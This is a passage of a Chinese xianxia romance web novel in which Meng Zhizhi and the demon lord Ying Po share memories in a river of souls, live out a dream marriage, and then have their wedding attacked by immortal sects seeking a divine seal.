赢破的目光又落到后方一件展示的红色嫁衣上,黄鼠狼精一见,立马热情介绍道:“这件嫁衣乃是?由鲛人的尾纱制成,色泽光洁,隐隐能看得见月辉照映,而且这质感?轻盈,穿着一点不?累,百年难见。” 赢破眼中放光,拿起那件衣服,对孟枝枝道:“去试试。” 黄鼠狼精道:“小的给娘子带路。” 孟枝枝回头看,见赢破还在打量着店内的胭脂水粉,兴致很高。 她进试衣间前拉住黄鼠狼精,低语道:“小二,我有些问题想请问你?。” 黄鼠狼精恭敬道:“娘子请说。” 孟枝枝道:“城中可还有凡人居住?” 黄鼠狼精道:“实?不?相瞒,城中凡人早就跑得干净。如今城中尽住着妖修与邪族,魔君早已下令,不?能随意?杀害凡人,只是?之前仙门之人来袭,城中凡人和散修一闻风声?,都溃逃而散。” 孟枝枝道:“多谢。” 她脱下衣服,换好了那件红色鲛纱婚衣。 她从里面?走?了出来,就见赢破正等着她,他眼睛一亮,上前牵住她的手,在她额中心一吻,道:“你?很美。” 孟枝枝仰头看他,他眼中尽是?少年即将娶妻的欣喜。 赢破对黄鼠狼精道:“这件衣服我要了,还有刚刚选的那些胭脂水粉全都打包带走?。” 突然,一众鬼邪从天而降。 黄鼠狼精一惊,立马跪拜在地上,道:“不?知魔君陛下降临,有失远迎。这些都赠与陛下,恭贺陛下大?婚之喜。” 赢破道:“无妨,孤今日很高兴。你?们将银钱取给他,这些东西都带回宫内。” 话毕,他又牵着孟枝枝的手往外走?,孟枝枝回头看见那黄鼠狼精还跪在地上,身形紧缩微颤,一瞬仿佛缩小了一般。 赢破又拉着她买了许多婚嫁之物,什么花生?枣子,什么喜字灯笼,他乐在其中。 孟枝枝捶了捶腿,道:“今日就到这儿?吧,我累了。” 赢破蹲下身,为她揉捏着腿,道:“是?我考虑不?周。我带你?去休息。” 他揽住她的腰肢,飞去一榭水楼台,此处早已摆满了各色佳肴,他将她轻放在椅子上,执起筷子为她夹菜。 孟枝枝没有动筷子,道:“赢破,我不?想与你?成亲。” 赢破手一顿,道:“孤今日心情很好,你?当真要毁了孤的心情吗?” 孟枝枝道:“你?该选择和你?心意?相通之人成亲,我对你?无意?。” 赢破道:“如果孤偏要你?呢?” 孟枝枝道:“我知道你?已经想起一些事,你?既然已经知道我过往遭遇,也应该知道我为什么不?选择你?。” 赢破喝道:“孟芷!” 他似乎察觉到自?己语气过重,又道:“孤不?是?他,孤很清楚自?己在做什么。”他抬起那双黑眸,眸中偏执。 孟枝枝道:“你与仙门之间必有一战,不?是?你?死,就是?仙门亡。” 赢破道:“所以你会站在他们那边,是?吗?” 孟枝枝不?言,将杯中酒一饮而尽。 赢破笑了,那笑意?更像带着自?嘲,双眸像一颗巨石砸进了水中,沉不?见底,他上前一把将她的腰搂住,跳入旁边的荷花池中。 孟枝枝没有丝毫准备,呛了满嘴水。 赢破抱着她,直直坠入进湖底深处。 孟枝枝冲他慌忙摆手,赢破只是?看着她,脸上平静异常。 他抱着她,宛如一个大?石头将她重重往下拖拽,她不?断上浮,却?离湖面?越来越远。 赢破无声?地看着她费尽心力挣扎往上游。 孟枝枝心想,他真的疯了,不?由分说就想拉着她一块死。 似乎看她要喘不?过气来,赢破俯下身,以唇渡气。他双唇很冰凉,就跟这刺骨的湖水一样。 他的唇覆了很久,孟枝枝猛拍打着他的肩膀,忍不?住在水底骂道:“混蛋!” 她嘴里吐出透明的泡泡,那声?音也被水吞没。但赢破似乎看懂了,他抱着她不?断往下坠。 孟枝枝只觉得眼前模糊成一片,不?知被他带到什么地方,周身很冷,很重,一股潮湿的阴冷仿佛要刺入她的肺腑。 当她再睁眼时,她发觉他们已经漂浮在水面?上,然而这水是?黑的,四?周游走?着像粘液融化一样的怪异生?物,但孟枝枝认得,那是?游荡的灵魂,这里是?魂河。 孟枝枝睁大?了双眸道:“你?疯了!” 赢破竟然什么法器也没用,单靠魂术就将他们的灵魂又引入了魂河之中,她能想象到她和他的身体正沉在湖底里,如果没人发现,他们必死无疑。 赢破看着这无穷无尽的河流,这里长夜永存,感?受不?到时间流逝。 他转过头,一张雪白的脸,乌发被黑水染湿,漂浮在水面?的发尾吸引来小小几只游荡的灵魂,那灵魂已然残缺,轻若蜉蝣,完全看不?清原来的样子,它们抓着他的头发不?断啃食。 孟枝枝感?受到四?面?八方都是?那些灵魂贪食的目光,急道:“快出去!这里呆久了,会损伤魂魄!” 赢破道:“你?认为我在乎吗?” 他牵住她的手,再次沉入魂河底。 水中,他那双黑瞳变成了赤红色,他向她身体源源不?断传输着什么,她那双眼睛瞪得很大?,变得和他一样的赤红色,她的额心骤然出现双人蛇尾的印记,两人被包裹进浮光之中。 她的脑子里骤然涌现出种种画面?。 一个穿着长袍的小男孩蜷缩在角落,一个太监走?来,拉住他的胳膊,匕首一划,落下大?块血肉,令她忍不?住撇过脸。 小男孩痛苦倒地,四?肢抽搐,小声?道:“娘亲,娘亲。” 那太监将那血肉装在盒子中,笑脸吟吟道:“快带去给诸位贵人。臭小子,叫什么叫,这点血肉,你?死不?了。你?这浑身可都是?宝啊,你?该庆幸,要不?是?如此,你?早就死了。” 他贪恋地舔了舔手上的血液,宛如鬼魅。 小男孩浑身痉挛,他嘴里念叨道:“孤是?天子,孤是?天子,孤是?最厉害的人,孤不?疼,不?疼。” 太监阴险的笑声?响彻整间牢房。 画面?一转,她又见圆月之下,那孩子浑身赤裸,被捆绑了四?肢,摆在了长桌之上。 那些贵族分明是?人,他们却?磨刀霍霍,一刀又一刀割在了那孩子身上。这是?一场吃人的盛宴,让孟枝枝感?到无尽的绝望与癫狂。 那孩子突然眸光变红,圆月变成血月,鬼子降临,吃掉了那些贵族。 血,到处都是?血。那孩子挣脱了出来,一路狂跑,身后是?地狱,他跑得气喘吁吁,浑身伤口露出白骨,他似乎早就感?觉不?到疼痛,瘦弱的身躯此刻迸发出顽强的生?命力。 这一副又一副画面?,正如赢破对她讲得那样,她已经不?忍再看,这简直是?一场无穷无尽的噩梦。 她连忙抬出那柄绿玉如意?,念起了净天地神咒。 画面?消散,她又回到了魂河底,赢破早已闭上了眼睛,他如墨的长发被啃食得杂乱不?已,残缺灵魂游物都被他喷香的血肉吸引,而他那只手紧紧握着她的,强大?的握力让她一时恍惚,心口隐隐作痛。 她眼睛一瞥,钱喜的灵魂不?知什么时候出现他们身旁,他满脸哀愁,看着孟枝枝,道:“陛下一生?太苦了。” 孟枝枝道:“你?不?恨他?” 钱喜道:“陛下是?奴才看着长大?的,奴才知道陛下心里装不?下人,但是?人相处久了都有感?情。奴才不?怪陛下,他从小多灾多难,养成那个性子,也是?理所?当然。奴才就希望陛下好好的,娶妻生?子,能安生?地过完这辈子。女仙大?人,是?陛下救了你?,那魇灵骗他,骗他为你?剜去了一颗心。” 孟枝枝心口一震,道:“你?说什么?” 钱喜道:“奴才被那魇灵附身,什么都看见了。陛下从没有对不?起你?。” 孟枝枝看见钱喜身上的记忆,看着赢破在她身前对她昏迷不?醒而惊慌失措,拿刀狠挖下了自?己的心脏,看他怎么一口口嚼碎了自?己的血肉渡给了她。 孟枝枝浑身僵硬,伸向那记忆,大?喊道:“快住手!” 然而,赢破看不?见,他喂完她血肉后,惨白的脸露出笑容,双肩抽动,胸膛之处流了一身的血,他亲昵地贴在她的脸上,沾满血的五指轻抚着她的耳廓,道:“孟芷,快醒来。孤的血肉很有用,他们都说它能使白骨复生?。” 他陪着她,从天夜坐到天明。 记忆全部终结,钱喜灵魂消失,孟枝枝早已泪流满面?。 她看着眼前毫不?挣扎的赢破,知道他根本就不?想活了,她双手抱住了他的双肩,拼命将他拉向魂河河边。 他昏迷不?醒,那些游荡的灵魂都朝他们涌来。她深知,他困在记忆里,无法自?拔。就为了让她看见这一切,当真值得吗? 她掏出护她剑,再次斩杀那些游物,令他们无法近身。 她看着他那张浇湿的脸,俯身下去,吻住他冰凉的双唇,想要将一丝温暖渡给他。 两具灵魂相碰,神印在她额间熠熠生?辉。 她眼泪落到了他的眼睫上,他睫毛微动,她道:“我知道你?不?是?他,我不?讨厌你?。” 她额心抵住他的额心。 天空飘落红色纸屑,鞭炮声?轰鸣震耳。 她眼前出现一片红色,头上的盖头被人挑了起来。 她睁开眼,看见赢破穿着红色婚服,他端起一杯酒递到她跟前,脸上几分少年人的羞赧,道:“喝了这杯合卺酒,今后我们便白头偕老,永不?离弃。” 她愣住。 赢破疑惑道:“娘子?” 孟枝枝回过神来,缓缓伸出手,葱白的指尖捏着酒杯。 两个人仰头饮下了酒,赢破坐在她的身旁,双手放在膝盖上,看着有些局促不?安。 他道:“我父母双亡,只剩一间祖宅,三亩良田,幸得娘子垂怜,我必不?负娘子,一定勤奋读书,考取功名,为娘子挣得诰命。” 孟枝枝抬眸看他,只见他双脸泛红,一双黑瞳炯炯有神。 这婚房窄小简陋,却?被人精心打扫过,家?具俱全,最为精致的是?女子的梳妆台、铜镜,窗台还有藤曼交织,上面?开满了紫藤花。 久久等不?到回应,赢破语气不?安,道:“娘子可是?嫌弃我?” 孟枝枝立马道:“我不?嫌弃。” 赢破握住她的手,什么东西递了过来,孟枝枝摊开掌心,发现竟然是?一个金簪子,上面?雕刻着桂花,栩栩如生?。 赢破道:“这是?我亲手做的,赠与娘子。娘子平日里就喜欢桂花,可惜这桂花只有短短数十日花期,我想为娘子留住它。” 孟枝枝将那桂花簪插进了头发上,道:“我很喜欢。” 赢破嘴角一翘,忽然,她抱住了他的腰肢。 赢破不?敢动,一只手立在半空中,不?知道该怎么放,气息微喘,道:“娘子,是?还在担心岳母的事,我知道岳母对我有诸多不?满,娘子下定决心同我在一起,是?还在担心她生?气?明日我们便回去,我已备好了礼物,保证不?会让她责怪你?。” 孟枝枝仰起头,她对上他的视线,他头上只是?简单束了一个高马尾,红绳缠绕。十六岁的他身形瘦削,腰很窄,但却?十分有力。 她缓缓开启双唇,道:“辛苦你?了。” 赢破耳根红了,道:“这是?为夫应当做的。” 他的目光落到她嫣红的双唇上,轻咳了一声?,道:“天色不?早了。” 孟枝枝松开了手,道:“那就休息吧。” 赢破喉结上下一动,将手落到她的衣领上,轻轻剥下,雪白的双肩暴露在空气中。 他道:“冷吗?” 孟枝枝道:“有点。” 赢破立马吻住了她的双唇,这个吻越来越热,双手拂上她的肩膀,二人纷纷倒在了床上。 红色纱帘垂落,掉落一地的衣物。 赢破的掌心在发烫,他将她抱在身上,不?断亲吻她的脸颊、脖颈,渐渐下落,孟枝枝眼神迷离,脑子里像炸满了烟花。他极尽温柔,床榻律动着。 一夜抵死缠绵。 一清早,他便将家?里的一切收拾好,备好了饭菜,食过之后,二人回了门,孟枝枝再次见到了孟慕华。 赢破手提一只色泽艳丽的大?公?鸡,还贴心备了两大?包红糖和茶,里面?还有他亲手做的点心。 他在堂下与孟慕华谈得张节有度,一贯严肃的孟慕华脸上也有了笑意?。 他举起茶杯,道:“敬娘这杯茶,愿娘身体康健。” 孟慕华满意?地点头道:“枝枝她从小就任性,阿破你?要多包容她。我不?求你?们荣华富贵,只求一生?平稳。” 赢破意?气风发,道:“能娶娘子是?我之幸,娘,你?放心,我会一生?对枝枝好的。” 二人告别孟慕华,过上了粗茶淡饭的生?活,白日赢破就去田里劳作,孟枝枝给他送午食,他不?忍孟枝枝受累,便每日自?己带些干粮出门,夜晚就挑灯夜读。 他为孟枝枝在院落里打造了一只秋千,经常推着孟枝枝在秋千上玩耍。偶尔有村民路过,对二人露出羡慕的目光。 这样日复一日,院中的桂花开了又谢。 他考上功名,带着孟枝枝进了皇都,有贵族看上他要赘婿,他严词拒绝,朝堂之路难走?,却?被他走?出了一条路。他一生?勤勤恳恳,为百姓做事,名声?颇高,官至宰相。 世?人都称他为雅相,亦惊异他与娘子二人共度一生?,膝下无子,却?将娘子呵护至极,但凡对他娘子有非议,他便登门偏讨个说法,怼得他人羞愧难当,就连皇帝都说他是?惧内,也尝试过给他塞几个小妾,惹得赢破十分生?气。 赢破道:“臣这一生?幸得娘子眷顾,娘子医术精湛,心地善良,常常救助无权无势之人。臣的娘子是?世?上最好的娘子,他人谁也比不?上。若是?陛下执意?如此,臣只有辞官回乡。” 就连皇帝都怕了他,从此再不?提送妾之事,还将孟枝枝封为“结善夫人”。 当他们二人年老之后,又回到了那座别院之中,他白发苍苍,还将她推到秋千之上,一如年轻时候。 孟枝枝道:“夫君,这一世?你?可幸福?” 赢破道:“我很幸福。” 孟枝枝看着院落飘落了一地的桂花,她仰头,轻闻桂花香,道:“我亦是?。” 二人相视而笑。 花尽之时,大?梦初醒。 赢破和孟枝枝同时睁开了眼眸,目光相交之处,情绪纷杂。 孟枝枝身形不?稳,眼看就要喘不?过气,赢破立马将她带离了魂河,二人坐在河边喘气,赢破释放魔气,灵魂不?敢靠近。 孟枝枝道:“我们该回去了。” 赢破道:“不?回去。” 孟枝枝心知,刚刚一场梦是?赢破的执念,她顺了他的心愿,执念一破,他的神识都回来了。 她额中印记忽隐忽现,浑身瘫软,气息微弱,轻拂上他的背,道:“我愿与你?成亲。” 话音刚落,她猛咳出鲜血。 赢破被她嘴角的鲜血吓住,他们灵魂离开身体已经太久,孟枝枝的身体要撑不?住了。 他紧紧抱住她道:“我带你?回去。” 二人回到湖底,他将她拉上岸,又唤来鬼将带来干净衣物给她披上,他将她抬腿抱起,满脸肃穆,道:“回宫。” 她看着他的侧脸,一只手微微抬起,又放下,她偏过头,彻底昏迷过去。 第86章 第 86 章 凌恒魔君有令, 今日帝后大婚,天下大赦,举城欢庆。 云庭被关押在牢中,此处几?位鬼将镇守着。原来最后, 他还是被鬼将抓住。 一道影子一闪而过?, 看守的鬼将道:“有人劫狱!快追!” 几?位鬼将追了出去, 蓝倾翩翩落在牢中, 道:“你师父已经集合了仙门之人来攻, 我带你出去。” 云庭道:“我不出去。” 蓝倾蹙了眉头,道:“外界传你和孟芷的事,难道是真的?” 云庭道:“她是我妹妹。” 蓝倾挥扇,打?趣道:“是亲妹妹,还是情妹妹?” 云庭怒瞪他一眼。 蓝倾扇停, 道:“这世上竟然有这么巧的事?孟芷的师父正好也与你师父关系匪浅,事到如?今,你还是不信仙誓是诅咒?” 云庭道:“仙誓已破,再探究过?多也无用,我要把芝芝救出来。” 蓝倾道:“救她?” 他上下打?量一番云庭, 戏谑道:“怎么看, 也是你更落魄, 我今日看你妹妹和那魔头在大街上逛得兴致甚高,你妹妹可曾来看过?你?” 云庭双唇紧抿成一条线, 道:“她还不知道自己的身世。” 蓝倾道:“你个愣头青,什么也没说清楚,贸贸然就投身进来, 如?果我是你妹,我也觉得你可疑至极。” 云庭道:“蓝倾, 我没心情和你在这里说笑。凌恒魔君要娶她,这是要将她往火坑上推,我要阻止这场婚事!” 蓝倾道:“你想得倒好,怎么阻止?这城中里里外外全是那魔头的人,一只?鸟儿想飞出去都?难。” 云庭道:“你帮我出去。” 蓝倾道:“我何时跟你关系这么好?赔本的买卖我可不做。” 云庭道:“你如?果能?帮我出去,我这条命就是你的。” 蓝倾看他动了真格,道:“依我看来,你妹妹并不想嫁给那魔君,可是她亦不愿意?相信千霄宫。你可知神印之事?” 云庭双眼茫然,道:“神印?” 蓝倾笑道:“看来你并不知晓,你师父说神印已经出世,那是上古神明留下的宝物。各大仙门听?了消息都?蠢蠢欲动,不然你师父怎么能?这么快集合到这么多人。依我看,你呆在这牢里更好,到时候孰是孰非,自会见分晓。” 云庭道:“蓝倾,你从?到到尾都?置身事外,你为什么要特地来告诉我这些?” 蓝倾席地而坐,摆出两坛酒,自饮一坛,道:“我闲的。” 云庭也坐下,拿起另一坛,饮得又凶又急,他擦了擦嘴角,道:“是我伤了小?桃仙和冥漆,多谢你救他们。” 蓝倾道:“哟,你还会反省,真是难得。” 云庭道:“我曾以为妖邪个个奸猾狡诈,仗着一身法力就欺辱凡人,但是我伤了她的心。她走的时候那么决绝,师父要带她离开,她都?不愿意?,一切都?是我的错。”他嗓音微哑。 蓝倾道:“你斩妖除魔是为了你妹妹吧?你妹妹曾死于?邪魔的手中,你恨极了邪魔,情有可原。只?是现在,云庭,你还信你心中的道吗?” 云庭道:“正义与公平无错,是我的错。” 蓝倾道:“往日我就厌烦你这针对妖怪的性格,但要说仙门之中谁干净,也只?有你最干净。我救你不是一时兴起,不过?是不想这世间的干净又少了一分。你护妹妹,护师门,我理解,但若是让你在妹妹与师门中选择,你又会选择谁?” 云庭断定道:“不会存在这种选择。” 蓝倾道:“孟芷曾问我信不信宿命,如?果宿命如?此,她宁愿反了它,你这妹妹不简单。送你一言,看清你自己的内心,切莫做出让自己后悔的事。”他仰头又饮了一口?酒。 云庭道:“芝芝是这么说的吗?”他胸膛中充斥着纷杂的思绪。 蓝倾拿起酒坛,站起身道:“沧海桑田,时过?境迁,有人告诉我,就算人轮回转世,也不记得前世过?往。但那又如?何?我只?愿那人一生?顺遂,站在何处都?无妨。我走了,你好好想想吧。” 他转瞬消失在云庭的眼前。 孟枝枝坐在镜前,任人装扮,四处皆有鬼将看守。自从?他们从?魂河回来,人界已经度过?了一天一夜,赢破牵住她的手不肯放,临别之前恋恋不舍道:“等我。” 她敛住神色,在他人的托扶下,一步步走出宫殿。 殿堂之上,赢破穿着红衣,一身金丝缠绕,腰间别着桂花香囊,他一见孟枝枝,便走下台阶,向她迎来。 他伸出了手,孟枝枝将手放了上去,那手竟意?外地冰凉。 他走得很慢,似是照顾着孟枝枝的长摆。 他道:“累吗?” 孟枝枝道:“还好。” 她并未一大早醒来,而是过?了辰时才被人匆匆叫醒,这场婚事她什么都?没有操心过?。 赢破看着她,眼中的欣喜溢满,道:“随孤来。” 两个人跪在天坛之上,上面插满香烛,檀香四溢,底下是观礼的大臣们。 一位初次上任司仪大臣的鬼邪念了长长一段贺词,孟枝枝忍不住摸向自己的膝盖。 赢破嘴角一翘,道:“拜天地吧。” 司仪大臣立马高声道:“拜天地!” 两人朝天坛匍匐拜去。 “再拜!” 赢破紧握着孟枝枝的手,她感到他的指尖在微微颤抖。 “三拜!” 突然,天空一声喝道:“大胆魔头,交出神印!” 一道红色混天绫朝二人袭来,赢破抱住孟枝枝,一个旋转,二人安全落地。 天际漂浮着数位仙人,他们手持武器,居高临下。 赢破将孟枝枝放于?身后,道:“你们倒来得整齐。” 瑶池宗的望凝君手握两把旋转八刃,起身猛冲过?来,道:“诸位道友,今日就要在此地将这魔头绞杀,我先行一步。” 他双刃在手,在空中显出红色火焰,齐齐向赢破的要命处砍来。 赢破道:“鬼将出列!” 原本空地上的大臣们全部恢复鬼身,个个严阵以待,道:“护陛下周全!” 一场混战就此拉开帷幕。 孟枝枝见状,立刻逃离此地。 一道剑影飞了过?来,她看清来人,惊道:“梅珊。” 梅珊降临在她的面前,道:“拿命来!” 孟枝枝不得已掏出护她剑与她对打?起来,道:“我们是不是有什么误会?” 梅珊道:“孟芷,我视你为友,但你和你的师父想杀了我的师父,而今你和这魔头不清不楚,你还想骗我到什么时候?” 梅珊脑中浮现樊盈绣端着点?心来见她的画面。 “珊珊,有一件事在我心里埋了很久,我不知该不该说?” 梅珊道:“你说,我听?着。” 樊盈绣讲起那晚鬼母出现在天牢之中,孟慕华现身要杀贤剑真君和她。 樊盈绣道:“我不知道为什么贤剑真君要保下孟芷,我害怕,珊珊,我能?相信的只?有你了。” 那个额间红痣的女子轻拭着泪痕,在山中的这些日子樊盈绣总是鼓励她,那是梅珊从?未有过?的温情,然而最后樊盈绣也死了,是被凌恒魔君亲手杀死的。 她不理解,为什么师父和大师兄都?要护着孟枝枝!明明所有的灾难都?是她带来的。 孟枝枝道:“我从?没有故意?隐瞒你什么,梅珊,今日之事我亦有难处。” 她一剑接住了梅珊的招式,然而她双眸一凌,果断将梅珊拉进了怀中,原来梅珊身后正有邪鬼袭来。 孟枝枝一剑顶了上去,那邪鬼顿时瑟缩,见了孟枝枝的目光,便退了下去。 “你……”孟枝枝刚要开口?,一剑正刺中她的心口?,她亲眼看见梅珊手握银剑。 孟枝枝一阵腥味往喉头上涌,退后几?步。 她立马点?住自己几?个穴位。 梅珊红了眼睛,道:“我要为师父和大师兄除了你这祸害!” 她又抬剑,朝孟枝枝冲来。孟枝枝看见,梅珊胸口?一红,一柄明晃晃的剑光从?梅珊的胸口?透了出来,她不禁大喊道:“梅珊!” 梅珊回头去看,竟然是贤剑真君。 她不懂,为什么! 她喊道:“师父!” 贤剑真君骂道:“你这个废物,谁要你去杀枝枝的?” 贤剑真君向孟枝枝奔来,伸出手,手里摊开是一枚雪白的丹药,道:“这是万物生?,你服下它。还好伤口?不致命,我带你回千霄宫。” 孟枝枝后退一步。 梅珊感觉自己胸口?好疼,疼得她死去活来,她道:“师父,我才是您的徒弟,原来您从?来都?没有认可过?我……” 贤剑真君回头道:“这世上没有谁的命比枝枝更重?要!” 梅珊心碎了一地,眼泪从?眼角滑落,身子彻底软了下来,她看着贤剑真君和孟枝枝,眼里最后一丝光也熄灭了。 孟枝枝久久不能?回神,质问道:“你杀了你的徒弟!” 贤剑真君道:“枝枝,我是真心护你。你是木儿的徒弟,就如?同?我的亲女儿,这次来就是为了救你和云庭,跟我走吧。” 孟枝枝摇了摇头,她看着梅珊的尸体还没冷透,那双眼迷惘苍白,至死梅珊都?不明白为什么至亲之人要杀她。 她道:“我终于?知道为什么师父要杀你!贤剑真君,在你眼中,人命是这么轻飘飘一句话的事吗?!我绝不会跟你走!” 贤剑真君道:“枝枝!” 孟枝枝果断向后逃跑,一众鬼将拦住了贤剑真君的去路。 不远处,赢破道:“引魂河!”话音已毕,就见他以气吞山河之势将天际捅了一个窟窿,无数的黑水流淌出来。 “好你这魔头,你竟然将魂河引到人界,你这是要天下苍生?共亡啊!” 那些漆黑的灵魂从?河水中攀爬了出来,口?中振振有词,他们是迷茫的灵魂,无法入轮回,陡然降临人间,便不由?分说被灵气最蓬勃之处吸引而去。 贤剑真君被魂河之水缠住,一只?灵魂爬上了他的腿。 他眼中陡然现出孟慕华的身影,他道:“木儿……” 孟慕华一会儿笑着对他,一会儿又对他冷眼相看,道:“无真!你说你杀贤剑真君是为了自保,他嫉妒你的天赋,又想伤你性命,但你的师兄弟们呢?为什么也要将他们杀掉!” 贤剑真君道:“木儿,我没有办法,他们认得出我,倘若不杀了他们,我怎么做得成贤剑真君之位。木儿,他们曾经也害过?我,给我下毒,如?果不是你救我,我早就衰弱下去,一身修为尽废,到死了都?不知道是谁害我。你帮我做了这件事,我以后永不负你。” 孟慕华泣不成声道:“是我看错了你!无真,我以为你拿走我的毒药是为了防身,但你用在了他们身上,你就这么想要真君这个位置吗?我从?来就没想过?一定要站在仙门巅峰,我只?想我们……罢了,事已至此,我们分道扬镳,我走我的阳关道,你过?你的独木桥,从?此不相见!” 贤剑真君往前一抓,道:“木儿!这世上的人踩高捧低,散修之路哪有你想得那么容易,别离开我,我现在唯一能?相信的就是你了啊!” 赢破冷笑一声,看着被魂河影响的仙门千姿百态,露出各种丑陋真容。 他快步朝孟枝枝离去的地方走去。 云庭从?牢中走出,刚刚天地忽然一声轰鸣,所有的鬼将都?消失了。他便断定,是师父他们来了。然而此刻,他并不急着去找师父,而是去见孟枝枝。 他看见一个女子穿着红衣飘然而去,立马跟了上去。 孟枝枝来到钦天塔,大喊道:“李妙湛!” 李妙湛现身,看她这一身嫁衣,目光不定。 孟枝枝道:“你能?不能?开启阵法,魂河被赢破引入了人界,照此下去,此处也会被魂河的水侵蚀掉。此事就算我拜托你!” 李妙湛道:“我要那柄绿玉如?意?。” 孟枝枝道:“我答应你。” 就在她掏出那枚玉令之时,云庭赶来,道:“芝芝!” 孟枝枝道:“云庭,你快回去!” 云庭急道:“我是来救你的,芝芝,我是你哥哥明义啊!” 李妙湛此刻道:“阵法已经开启,快进去。” 孟枝枝被云庭的话震得一时哑声,她不得不对云庭道:“我要进阵法之中,魂河之水被引渡下来,你赶快带着弟子们离开皇城,要快。” 孟枝枝投身进去,云庭亲眼看见那道裂缝在自己眼中逐渐合拢,他想要进去,却被随之而来的魂河之水缠住了步伐,数百游荡的灵魂扑了上来。 他大喊道:“小?妹!小?妹!” 身后一道人影骤现,是赢破,他将那裂缝撑开,魂河之水随之流了进去。 赢破怒发冲冠,身子一挤,挤了进去。 他一进去,早已不见孟枝枝的踪影,只?有漫天的火球砸来。 孟枝枝此时已经被李妙湛带去了第二境的途中,这里如?银河无尽,四处都?是发光的虫洞,密密麻麻的虫子从?洞中爬了出来。 李妙湛道:“我可以在此处杀了你,夺走玉如?意?。” 孟枝枝道:“你早知净念已死,确实,净念死在了我的手里。你如?果要为师父报仇,我能?理解,但是现在情况紧急,还希望你能?将答应我的事完成,到时候我的命和玉如?意?都?给你。” 李妙湛皱起眉头,他第一次遇到自寻死路之人。 她穿着一身红嫁衣,满脸的焦急,头上珍贵的玉冠早已被她扯在手中,丢在一旁,头发上的红绳飘荡,一点?都?看不出大婚之喜。 李妙湛道:“你早就知道我的图谋,你是将计就计?” 孟枝枝道:“这阵法应该是千年前赢氏仙门打?造的吧?各大仙门都?有护山大阵,赢氏仙门只?能?被封印此,也是因为其他仙门忌惮赢氏的阵法,不敢随便踏入,而赢氏后代虽知晓此阵,也无法掌握这阵法的绝妙之处,更无法借此破除诅咒。” 李妙湛道:“你倒是聪明。可你又怎么知道我一定会此阵法,你敢拿自己的命做赌注,不怕赌输了?” 孟枝枝深吸一口?气,道:“净念从?千霄宫中逃脱出来,知晓了我师父和贤剑真君的关系,便拿此做要挟,要我师父为他做事。这天下最会傀儡术的人就是他,我想了很久,师父以身为我铸剑,还能?伴我多年,只?能?是净念为我师父打?造了一具傀儡,我师父的灵魂不能?出现太久,怕我看出破绽,便用傀儡伴我。我师父是用了那柄白玉如?意?跟净念做了交易,只?是没想到他半路死在了我手里,而我无意?间带走了白玉如?意?,知晓师父灵魂最后封印在白玉如?意?之中。李妙湛,之前你大可杀我,但你没有,还故意?掩藏净念的名号,我知道你心底并不认可净念,你愿意?收留玲珑和元青,我信你性子本善,这次仙门与凌恒魔君一战,非死即伤,魂河之水一旦引渡,就无法收回,我想以皇城为界,将此地与外界隔绝开来。你能?不能?帮帮我?” 李妙湛道:“你胆子真大,以皇城为界,划地为牢,你就没有打?算过?逃出去。” 第87章 第 87 章 孟枝枝道:“是。” 她双眸坚定, 她一直都在想破局之法,所谓与赢破出城备婚,不过是为了查清楚城外是否还有百姓在。她知道赢破不会放弃复仇,仙门之人也不会放着赢破这么个大威胁而不管不顾。 到这一步, 是她能做的?最好选择。 李妙湛道:“这里?的?虫子剧毒无比, 你要是踩中, 休怪我不救你。” 他奔身向前?, 孟枝枝紧跟上去。 然而还未到第二境, 魂河的?水已经涌了进来。 李妙湛道:“有其他人进来了!” 孟枝枝正想是谁,暗箭难防,一根长枪挡住了二人脚步。 “留下神印!” 孟枝枝一回头,发现竟然是仙门中人。 此女一身软裙披帛,年龄四十上下, 道:“那魔头身上压根就没有神印,贤剑真君那老贼骗我们!今日这神印我必须到手。”她掏出软鞭,一鞭一枪威力无比。 望凝君此刻也赶到,道:“上元夫人是想独食?是我制住的?那魔头,你捡漏在前?, 不过神印能不能落到你手里?, 就各凭本事!” 二人齐齐向孟枝枝冲来。 孟枝枝将李妙湛推开, 趁机将绿玉如意塞进了他怀中。 李妙湛看见?她走出的?每一步都在滴血,原来她身上还带着伤, 他眸中碎光微动。 孟枝枝道:“你们今日前?来是为了神印,而不是想除魔?” 望凝君笑道:“你这黄毛丫头,我原本不知有什么魔力, 让那个魔头这么护着你,原来是因为你身有神印, 交出来,我留你一命。” 他拿出巨斧,一斧劈下,孟枝枝一躲,那斧子正好砍杀了一条硕大的?虫子,那虫子溅出□□,周围的?岩石全被?腐蚀了。他轻飘飘抬起巨斧,又要冲来。 一道蓝色火焰燃起,阻断了望凝君的?去路。 “原来你们都在找神印啊,我就说仙门今日怎么聚得?这么齐,这么天大的?好事怎么能少?得?了我!”蓝倾降落。 他拿起团扇,掩住口鼻,对孟枝枝道:“死了没?” 孟枝枝道:“还有一口气。” 蓝倾道:“你们先走,我断后。” 孟枝枝道:“多谢狐仙前?辈。” 她立马跟着李妙湛进入了第二镜。 “蓝倾!你这是做什么!神印可?以用?来对付那个魔头,你怎么能放了她?!”望凝君怒从心中来。 蓝倾的?狐狸耳朵动了动,道:“你刚刚不是才说你制住了那个魔头吗?怎么没了神印,你还要对付魔头?” “你……” 上元夫人道:“跟他废什么话,这次要是让她跑了,去了神域,再也没有机会了,追!” 蓝倾一把团扇挥舞出一个巨大的?弧度,那扇面不用?触摸,便能让人感觉到它的?锋锐。 他道:“有我在,你们可?别?想走。况且,还有人来了。” 他们二人回头,就见?数人往此地奔来,身后还跟着巨浪,那是魂河之水! “快跑!” 无数亡灵在哀嚎,传来的?巨大的?响声。 进入第二境的?孟枝枝不禁回头一看,她双眉紧皱,但此刻她不能停下。 李妙湛此刻大喊道:“小心!” 孟枝枝看见?,一只腐烂的?巨型鸟头裸露在他们跟前?,那硕大的?眼睛瞳仁是横着的?,像羊的?眼睛一样。 她道:“这是……” 很快,她看清了全貌,那是一只长着九只头的?鸟,不对……还有一颗头,上面的?头空空如也,在滴着鲜血。 它巨大的?身形遮盖住了半边天空。 她道:“九头鬼鸟。” 九头鬼鸟朝他们二人啄了过去。 孟枝枝脚尖轻点,转身灵活,躲下一只鸟头的?攻击,那鸟嘴是红色的?,像是还滴着血。 李妙湛的?衣袖被?一只鬼鸟衔住,孟枝枝看他被?啄走了,立马追了上去,射出一只咒枣化?身的?金箭,凌厉万分,正中在鸟头上。 那只鸟头冲天尖啸,另外八只鸟头一同尖啸,它们的?尖啸声冲破天际,让两个人都忍不住捂住了耳朵。 这声音的?巨大冲击,让两个人神智都有些涣散,孟枝枝感觉从自?己?的?耳朵里?流出什么东西,她来不及去管,拉住李妙湛的?手腕,朝另一边滚去。 